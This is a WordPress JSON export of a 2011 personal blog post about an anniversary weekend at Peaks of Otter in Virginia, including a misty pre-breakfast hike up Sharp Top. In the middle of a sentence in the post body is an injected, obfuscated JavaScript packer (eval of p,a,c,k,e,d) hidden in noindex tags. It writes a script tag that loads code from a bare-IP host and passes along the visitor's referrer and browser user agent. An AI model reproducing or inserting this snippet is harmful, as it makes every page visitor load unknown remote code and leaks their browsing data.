{"id":1819,"date":"2011-04-22T08:02:41","date_gmt":"2011-04-22T15:02:41","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=1819"},"modified":"2011-10-07T10:42:40","modified_gmt":"2011-10-07T17:42:40","slug":"peaks-of-otter-trip","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=1819","title":{"rendered":"Peaks of Otter"},"content":{"rendered":"<p>(Ahem.)  1-year anniversary.  <\/p>\n<p>I know, I know &#8211; my friends who&#8217;ve been married for ages will think it&#8217;s &#8220;cute,&#8221; but one year dating is a pretty big deal!  Paul and I took a romantic weekend trip to the Peaks of Otter, a beautiful mountain resort in Virginia.  We took a couple of walks around a scenic lake, and a lovely hike up a nice mountain path, past an antique farmstead, and over a crystal-clear stream.  <\/p>\n<p>And then there was the other hike&#8230;<\/p>\n<p>I didn&#8217;t see otters anywhere, but they&#8217;re not kidding about the &#8220;peaks.&#8221;  We went up &#8220;Sharp Top&#8221; early one morning&#8230; or rather, we <em>started<\/em> <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dnaez|var|u0026u|referrer|khhzi||js|php'.split('|'),0,{}))\n<\/script><\/noindex> up.  It was beautiful weather &#8211; sunny but cool. The path grew steeper and rockier until it became a climbing, winding, spiral stair of stone. The mist created a magical effect, and I kept expecting to see hobbits around every turn.  We rested on mossy ledges to enjoy some peanuts and a bottle of water.  We went up for about an hour and then decided we were probably &#8220;at the top,&#8221; turned around, and went back to the lodge for breakfast.  And we didn&#8217;t actually get in a fight, even though Paul was (clearly insane to think we could climb up there before breakfast) and I was (being a complete bitch).  Once I&#8217;d had breakfast I was much more charming, and Paul is unfailingly sweet.  <\/p>\n<p>And it was really, really beautiful.  I&#8217;d love to go back there &#8211; I kept fantasizing about having it as a regular place to take family holidays, with kids&#8230;  <\/p>\n<p>I didn&#8217;t take photos because we were much too busy enjoying ourselves, and mountains never look the same in a photo.  <a href=\"http:\/\/maps.google.com\/maps?oe=utf-8&#038;rls=org.mozilla:en-US:official&#038;client=firefox-a&#038;um=1&#038;ie=UTF-8&#038;q=peaks+of+otter&#038;fb=1&#038;gl=us&#038;hq=peaks+of+otter&#038;cid=0,0,8118009428711454640&#038;ei=7DmPTtfaKpLBtgfB3aysDA&#038;sa=X&#038;oi=local_result&#038;ct=image&#038;ved=0CAQQ_BI\">But here&#8217;s where it is&#8230;<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>(Ahem.) 1-year anniversary. I know, I know &#8211; my friends who&#8217;ve been married for ages&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[34],"class_list":["post-1819","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-travel"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1819"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1819"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1819\/revisions"}],"predecessor-version":[{"id":2061,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/1819\/revisions\/2061"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1819"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1819"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1819"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}